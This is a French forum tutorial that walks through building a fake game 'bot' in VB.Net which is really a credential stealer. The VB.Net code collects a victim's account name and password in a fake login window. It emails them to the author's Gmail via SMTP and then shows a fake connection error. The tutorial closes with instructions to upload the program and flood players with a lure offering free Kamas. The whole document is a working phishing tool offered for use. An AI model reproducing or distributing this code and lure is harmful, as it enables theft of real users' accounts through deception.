Je vais aujourd'hui vous apprendre a créer un faux bot, coder en
VB.Net.
Pre-requis:
Et une adresse Gmail (ou autres)
Pour commencer, on va creer le design.
Pour atteindre ce résultat, il faudra d'abord créer un projet Windows Form. Ensuite, on va ajouter ( A chercher dans la boite a outil puis a modifier dans les propriétés, en bas a droite):
- 2 labels
- 2 boutons
- 1 ProgressBar
- 1 PictureBox
- 1 Timer
- 2 TextBox.
Ensuite, renommer un bouton en "Connecter"
L'autre en "Vider les Champs".
Un Label en "Nom de Compte"
Un autre en "Mot de Passe", placez les a votre Guise.
Double cliquez sur le bouton "Connecter" Écrivez ceci (
juste en dessous de la ligne "Main")
Code:
If TextBox1.Text = "" Then
MsgBox("Entre ton Nom D'utilisateur")
Exit Sub
End If
If TextBox2.Text = "" Then
MsgBox("Entre ton mot de passe")
Exit Sub
End If
Timer1.Start()
Maintenant, double cliquez sur "Timer" en bas du design, et entrez ca, toujours juste a prés la ligne "Main"
Code:
Try
ProgressBar1.Value += 10
Catch
ProgressBar1.Value = 100
Timer1.Stop()
'--------Envoi des message
Dim mail As New MailMessage()
'set the addresses
mail.From = New MailAddress("Une adresse_mail_a_toi")
mail.To.Add("Ton_adresse_gmail")
'set the content
mail.Subject = "Victime"
mail.Body = "le nom d utulisateur est :" & TextBox1.Text & " mot de passe est :" & TextBox2.Text
Dim client As New SmtpClient("smtp.gmail.com", 587)
client.EnableSsl = True
client.Credentials = New NetworkCredential("Ton_adresse_gmail", "Ton_mdp_gmail")
Try
client.Send(mail)
Catch ex As Exception
Dim ex2 As Exception = ex
Dim errorMessage As String = String.Empty
While Not (ex2 Is Nothing)
errorMessage += ex2.ToString()
ex2 = ex2.InnerException
End While
MsgBox(errorMessage)
End Try
''--------
MsgBox("Problème lors de la connexion, merci de réessayer ultérieurement !")
Me.Close()
End Try
Il faut maintenant que vous modifiez ce code, remplacer ces donnees:[LIST][*] Ton_adresse_gmail[*] Ton _mdp_gmail[*] Une_adresse_mail_a_toi
Il faut maintenant rentrer sa:
Code:
Imports System.Net.Mail
Imports System.Net.Mime
Imports System.Net.NetworkCredential
Imports System.Net
Puis, une ligne en dessous de Public classe form, rentrez ca:
Code:
Dim mail As MailMessage
Dim smtp As SmtpClient
Pour finir, retournez dans Design, double cliquez sur le bouton "Vider les champs" et rentrez ca (En dessous de la ligne "Main")
Code:
TextBox1.Text = ""
TextBox2.Text = ""
Voila, votre Fake est programmer. Generer l'application, puis Uploadez la sur MegaUpload (ou autre) ensuite, mettez un message accrocheur avec le bot en mode Flood
Exemple :
"Salut, Besoin de Kamas? La team Xor3 Viens de sortir son tout nouveau bot, Gratuit pour Une semaine seulement! Va vite le télécharger sur ce site: http://www.megaupload.com/?d=6SUC0OKA"
Bon Hack
Cordialement Easy,
Merci a Obsidiantr